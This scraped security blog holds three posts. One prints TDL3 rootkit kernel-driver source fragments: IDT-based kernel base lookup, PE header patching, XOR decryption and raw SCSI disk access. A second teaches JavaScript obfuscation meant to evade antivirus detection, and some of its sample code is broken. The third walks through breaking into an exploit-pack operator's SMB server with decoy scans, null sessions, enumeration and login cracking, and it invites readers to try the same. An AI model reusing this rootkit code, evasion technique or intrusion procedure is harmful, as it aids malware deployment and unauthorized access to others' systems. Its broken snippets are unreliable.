TDL3 rootkit is one of the most advanced rootkit that is used in the wild for spreading malware and compromising window machines specifically. Primarily, the TDL3 rootkit is very stable from execution point of view. Previously, the rootkit was supposed to infect 32 bit systems but latest versions are impacting the windows x64 bit boxes. in the previous times, we have noticed rootkits that impact Master Boot Record (MBR) and these are termed as vbootkits. However, TDL3 rootkit is showing infections that are specifically targeting MBR's. In this post , we are going to discuss about the TDL3 rootkit design and its impact. This analysis is basically used to discuss all the routines used by TDL3 rootkit and is divided into number of posts. This is the first post and further details will be discussed in later posts. TDL3 rootkit uses most of the function from windows driver framework libraries discussed in wdm.h and it loaded itself as a device driver.

[1] Getting the Offset of System Process:
TDL3 rootkit uses the listed technique of getting the offset of System (System 0) process from the current process (rootkit process) in execution. It uses RtlOffsetToPointer() function to locate the process offset from the given base address. The base address is extracted by using IoGetcurrentProcess() which returns a pointer to the based address. With respect to it, the offset of "SYSTEM 0" process is calculated which is nothing but the first process that is spawned by windows.
"SYSTEM 0" value is passed as a string of chars to the cSystem array[]. Once the function is called it is loaded effectively into the memory to set the base address

VOID GetEPNameOffset(){
CHAR cSystem[]={'S','y','s','t','e','m',0};
GET_TDL_ADDRESSES->dwEPNameOffset=0;

while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),
GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
{ GET_TDL_ADDRESSES->dwEPNameOffset++; }
return;
}


[2] Getting NT OS Kernel Base
TDL3 rootkit tries to find the base address of ntoskrn.exe in order to take control of the low level system functioning. In the code presented below, "__asm { sidt bIDT; }" declares SIDT instruction which is used to find Interrupt Descriptor Table(IDT) address in the memory. It basically returns the IDTINFO structure in which entries are segregated in lower WORD and high WORD values. In IDTINFO structure, each entry has its own structure which is 64 bit long. Each entry contains the address of the function that handles a specific interrupt. Interrupt handler = Address(Hi Offset + Lo Offset).


__declspec(noinline) PVOID GetNtoskrnlBase()
{
BYTE bIDT[6];
PIDT_ENTRY pieIDTEntry;
PWORD pwAddress;

__asm { sidt bIDT; }

pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
do {
pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
if(*pwAddress=='ZM')
{ return (PVOID)pwAddress; }
pwAddress--;}

while(pwAddress!=0);
return 0; }


[3] Filesystem Change Routine
This is specific routine utilized by TDL3 rootkit to initiate a file system filter which uses a callback function in order to provide notification to main TDL3 driver about the state of file system being registered or unregistered as an active file system. The "RtlImageNtHeader" returns handle to PIMAGE_NT_HEADERS and "RtlOffsetToPointer" returns a pointer to the offset from a specific base address. Generally, the process characteristics are checked (primarily address) when a driver is initiated to notify about the change in the file system registration.

NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
PTDL_START ptsStart;
PIMAGE_NT_HEADERS pinhHeader;

GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,
pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));

GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size
=ptsStart->dwSectionSecuritySize;
pinhHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->
dwSectionSecurityVirtualAddress;

GetEPNameOffset();
*GET_TDL_ADDRESSES->cBotID=0;
if(!NT_SUCCESS(Reinitialize(0,FALSE)))
{
IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,
ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
}
return STATUS_SUCCESS;
}


[4] Decrypting Data Routine
A simple XOR based algorithm is used for decryption. Looks like for decrypting the raw data from the system or during execution.

PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{ DWORD dwData;
for(dwData=0; dwData lt; dwSize;dwData++)
{ ((PBYTE)pvData)[dwData]^=dwData+bKey;}
return pvData;};


[5] Small Computer System Interface (SCSI) Command Routine
TDL3 rootkit uses SCSI command routine to connect and transferring data between various peripheral devices which includes hard disks, scanners, usb etc. Since SCSI command interface is implemented as a part of device driver, TDL3 rootkit potentially exploits the command set provided by SCSI interface. The basic aim is to infect peripheral devices when these are attached to system, TDL3 rootkit device driver detects the device and sends initiates a communication routine in order to send commands to that device. This is implemented using "SCSI_REQUEST_BLOCK" structure in which "SRB_FUNCTION_EXECUTE_SCSI" flag is passed as value to the member function in order to execute the request on the logical device. Another flag "SRB_FLAGS_DISABLE_AUTOSENSE" is used to disable the request-send information should not be returned back.

TDL3 rootkit also uses "IoAllocateIrp" in order to create IRP (I/O Request Packet) to communicate with low level drivers. "PIO_STACK_LOCATION" structure is used which is an entry in the I/O stack that is associated with each IRP (created by IoAllocateIrp). "IoGetNextIrpStackLocation" is sued to walk down the stack for accessing next low leveld river associated with same IRP (created before). TDL3 rootkit implement it as follows

NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
SCSI_REQUEST_BLOCK srbBuffer;
SENSE_DATA sdData;
IO_STATUS_BLOCK iosbStatus;
KEVENT keEvent;
PIRP piIrp;
PMDL pmMdl;
PIO_STACK_LOCATION pislStack;

memset(&srbBuffer,0,sizeof(srbBuffer));
memset(&sdData,0,sizeof(sdData));
srbBuffer.Length=sizeof(srbBuffer);
srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
srbBuffer.SenseInfoBufferLength=sizeof(sdData);
srbBuffer.SenseInfoBuffer=&sdData;
srbBuffer.DataTransferLength=dwBufferSize;
srbBuffer.DataBuffer=pvBuffer;
srbBuffer.TimeOutValue=5000;
srbBuffer.QueueSortKey=dwAddress;
srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.Cdb[0]=bOpCode;
srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);
srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);
srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);
srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
if(dwAddress!=0)
{
DWORD dwSectors;

dwSectors=dwBufferSize/0x200;
srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
}
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
if(piIrp!=0)
{
// Allocate Memory
pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
srbBuffer.OriginalRequest=piIrp;
piIrp->MdlAddress=pmMdl;
MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
piIrp->UserIosb=&iosbStatus;
piIrp->UserEvent=&keEvent;
piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
pislStack=IoGetNextIrpStackLocation(piIrp);
pislStack->DeviceObject=pdoDevice;
pislStack->MajorFunction=IRP_MJ_SCSI;
pislStack->Parameters.Scsi.Srb=&srbBuffer;
piIrp->CurrentLocation--;
pislStack=IoGetNextIrpStackLocation(piIrp);
piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
pislStack->DeviceObject=pdoDevice;
// Callback Function..
if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
{
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
}
return iosbStatus.Status;
}
return STATUS_INSUFFICIENT_RESOURCES;
}


[6] Computing PE Checksum

TDL3 rootkit also computes the checksum of the required portable executable as follows

DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
DWORD dwBytes=dwSize;
while(dwBytes>0)
{ if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
{wChecksum++;}
wChecksum+=*(PWORD)pvData;
dwBytes-=sizeof(WORD);
pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
}
return wChecksum+dwSize;}


Hashing module is also implemented as follows

__declspec(noinline) DWORD HashString(PCHAR pcString)
{
DWORD dwResult=0;
while(*pcString!=0)
{ dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
}
return dwResult;}


This discussion will be continued in the next post.

Monday, April 11, 2011

JavaScript Camouflaging - A Primer

In this discussion, we are simply walking through the nature of JavaScript obfuscation and camouflaging in order to understand the importance of dense code.

Views By:- RB and AKS

JavaScript is a widely used language for developing application and websites on internet. JavaScript is used for positive as well as for nefarious purposes. Since it is a client side scripting language, most of the time the scripts are available for walking through them to understand the purpose. However, JavaScript obfuscation is used heavily for making JavaScript readability a hard process and at the same time beating automated detection tools. Overall, the purpose of JavaScript obfuscation is to hide the source code so that it is not possible to steal it. At the same time, this technique is also used for malicious purposes by the attacker to bypass antivirus engines in order to execute rogue code successfully. These are the two main reasons for the wide usage of JavaScript obfuscation.

Exploit Placement and Detection:
Most of the Browser Exploit Packs (BEP's) use browser JavaScript rendering engine and heap spraying techniques to exploit vulnerabilities in browser. The aim is to exploit the heaps using JavaScript capabilities. Another thing that should be taken into account is the way exploit is developed and the way it is supported by JavaScript obfuscation. Consider an exploit; if it is wrapped and placed in [HTML] and [Body] tags, the antivirus engine definitely detects it. Is there a difference between handling scripts and executables by antivirus engines? Based on our analysis, antivirus engines follow a similar approach which is signature based pattern matching. A unique signature is created for antivirus engine and it is matched against the malicious script. If we talk about polymorphic code which carries self decrypting routine to reverse the script automatically, detection is not an easy process. However, for normal scripts the detection mechanism is easy. Considering the capabilities of JavaScript, being a client side language , it can be forced to execute scrambled code.

Camouflaging - Dense Code
Camouflaging (increasing data density) is a very robust approach of making JavaScript’s undetectable. The critical functions such as EVAL/ENESCAPE are something that antivirus engines always look for. Primarily, UNESCAPE is used for making a readable string out of escaped data. The unescaped string is harder to read from user perspective but antivirus engines possibly detect this and flag it as malicious. Another similar functions is EVAL, which is used collectively with UNESCAPE to design malicious scripts. For generic JavaScript obfuscation these are used but it is executed as EVAL(UNESCAPE(............)) in the code and combination is easily fetched as malicious. The question is these functions are required explicitly to run the code in hidden manner. Camouflaging is an art that is used by referencing these functions to different names or completely random names. A generic example is
as follows

var FGHTY678 = eval;
var VFGBH432 = unescape;


These variables can be generated dynamically because JavaScript supports on the fly variable referencing. For hard scenarios, a robust algorithm can be structured which provides random naming of variables that points to crucial functions. We will stick to our generic examples. At this point if we use the code as follows it is still not that hard to detect by antivirus engines

var VFGBH432 = unescape;
return FGHTY678(VFGBH432(....))


It performs the similar functionality except we can make variable names random. This process changes the signature and it makes the process tough for antivirus engines to detect it (cannot say purely undetectable). Another case which is easily detectable is as follows

function FGHTY678(FGATH789) { return eval(FGATH789);}
function VFGBH432(XCVTH789) { return unescape(XCVTH789);}


Only variable names are changed but function calls remain intact and hence signature detection is easy. The above discussed points do not provide reliable way of obfuscation. One must remember that even if we have camouflaged the function calls, the escaped code is still present as argument in the UNESCAPE function. It is readable by the antivirus engines. Overall, the code is not fully camouflaged and obfuscated. Now let's talk about hexadecimal encoding (you can choose anyone). The question is, "How the hexadecimal encoding impacts the obfuscation?". For example: if we encode the following string "JavaScript Obfuscation", the hexadecimal looks like as

"4a617661536372697074204f62667573636174696f6e"


Even though for humans, it is hard to read but for computer programs it is not a big deal. Can we use JavaScript to make it more obfuscated? Yes, there are certain inbuilt string manipulation functions that we can try on. JavaScript functionality can be used to design extensible and robust codes. Mere simple encoding does not hide the signatures. JavaScript functions like REPLACE is of much use. This function is used heavily in normal purposes because of its versatile nature. for example: a relative code can be structured as

var GHJKO786 = eval;
var KJLHM890 = unescape;

var FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";

KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&*");
GHJKO786(KJLHM890(FGHBN345));


The above stated code looks rigorous but it is using inbuilt JavaScript functions."JavaScript-Obfuscation" is replaced with a metacharacter string "!@#$%^&*". The "gi" option in REPLACE function is used to replace the string case sensitive and it is applied as global level. Further, it is also possible to use MATH.ROUND and MATH.RANDOM functions to randomize the custom function names.

Garbage Data Mangling
Garbage data serves useful with extra logic is used to place raw data in JavaScript code. The main idea behind this technique is to make the process harder for filtering actual data. Generally, it is of no use and it is not vital. This helps in resisting the signature matching process. We basically talk about logic flow in which certain logic remain true forever and scripts are placed inside that logic which execute all the time. A similar example can be used as follows

var GHJKO786 = eval;
var KJLHM890 = unescape;

if (VBNHJ789 != "7890")
{
FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";
}

var KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&*");
GHJKO786(KJLHM890(FGHBN345));


In reality, the logic (VBNHJ789 != "7890") is never true and hence FGHBN345 string is always true and viceversa. another example can be discussed as

function RTGHY123
{
var FGHYU009 = "Rocky";
for (temp =1 ; temp <= 20 ; temp++)
{
FJKLM765 = document.write;
}

if(FGHYU009 == 5678)
{
FJKLM765("HEYA");
}
}


The function RTGHY123 is a garbage function and does nothing but results in creating mess for the analysts and anybody.

At last, there are several other methods possible for obfuscation. Our sole purpose is to discuss the effectiveness of density in encoding mechanism in JavaScript that can be used to design better obfuscator.

Nothing is impossible until it is proclaimed so.

Wednesday, April 6, 2011

Hacking Free Bird - SMB - Phoenix EP 2.5



Recently, we came across Phoenix Exploit Pack 2.5 which has included number of new Java and other exploits. We detected the hidden iframe as

[iframe src="http://phoenix_host/phx/index.php" width="1" height="1" frameborder="0"][/iframe]

As we know, JAVA SMB is one of the most exploited vulnerability in the recent times. In the last POST, we talked about exploit obfuscation in BlackHole exploit pack. However, it has been analyzed that both exploit packs use similar name "new.avi" for the successful execution of the Java SMB exploit. Further, newer versions of the Phoenix exploit pack 2.5 includes other Java exploits as JAVA RMI, JAVA MIDI and JAVA SKYLINE

We have analyzed certain number of domains that used to host SMB servers which is required to trigger the Java SMB exploit appropriately. However, SMB server has to be open to the world in order to execute the exploit. It can be hosted on the same domain as of Phoenix exploit pack or it can be on different domain. During the course of this analysis, we found number of vulnerable or insecure SMB servers which were serving SMB exploit file new.avi. Securing SMB server is typically a hard task if one does not understand configuration in a right manner (script kiddies etc). We ran nmap Decoy scan in a stealth manner to check the presence of RPC SMB port 445

nmap -P0 -A -T4 -sS phoenix_host -D 112.123.124.111 -p 445
Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-06 13:07 Eastern Daylight Time
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.X
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.35
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: VMWARE-VIRTUAL-, NetBIOS user: , NetBIOS MAC:
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Unix (Samba 3.5.4)
| Name: Unknown\Unknown
|_ System time: 2011-04-06 13:11:10 UTC-7


We found that phoenix host is actually running port 445. On continuous monitoring, we analyzed that SMB server was hosted on the domain serving Phoenix exploit pack. Since the port was in open state, we verified random access from our virtual machine running Win XP SP3 as follows:

E:\audit>net use \\phoenix_host\IPC$ /user:root
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:AAAAAAAA
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:guest
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:XXXX
The command completed successfully.


This shows that default access was allowed on SMB server which was running in shared mode security. However, no user mode security is applied. In general, this can be made more restricted and shares can be accessed without querying the SMB server in default mode. Here we used, random names and all were allowed access to IPC$ which was quite rogue. We tried to get some information and was successful in getting userlist, password policy information and share list etc

E:\audit>enum -P phoenix_host
server: phoenix_host
setting up session... success.
password policy:
min length: 5 chars
min age: none
max age: none
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.

E:\audit>enum -S phoenix_host
server: phoenix_host
connected as Chimera\Administrator, disconnecting... success.
setting up session... success.
enumerating shares (pass 1)... got 1 shares, 0 left:
IPC$
cleaning up... success.

E:\audit>enum -U phoenix_host
server: phoenix_host
setting up session... success.
getting user list (pass 1, index 0)... success, got 2.
rocky root
cleaning up... success.


At this point of time we found that there were no shares enumerated. This gave us an impression that share serving "new.avi" file was not "browseable". We took a look around , search over the internet and used simple combinatorial SMB URI's for accessing share as

\\phoenix_host\home\new.avi
\\phoenix_host\usr\new.avi
\\phoenix_host\home\smb\new.avi
\\phoenix_host\usr\smb\new.avi
\\....
......

The connection in the bold worked well for us. When we used that link from our virtual machine, we got positive response as follows

E:\audit>net use \\phoenix_host\smb
The command completed successfully.


URI:(\\phoenix_host\home\smb\new.avi) directly included exploit file in the target victim system and started running the exploit file. The file was accessed through firefox as



We reversed the process. We tried to define the parameters in smb.conf file used by the vulnerable server and we cam across following settings

[global]
security = share
[smb]
comment = smb
path = /home/smb
public = yes
browseable = no
writeable = no
guest ok = yes


At last, we succeeded in cracking the login account for SMB users for getting access to the server. One can also use Metasploit in order to query and run auxillary modules on SMB server.

This analysis shows that, it is possible to hack in the BEP's successfully. Try your hands on, we are sure you will hack the free bird.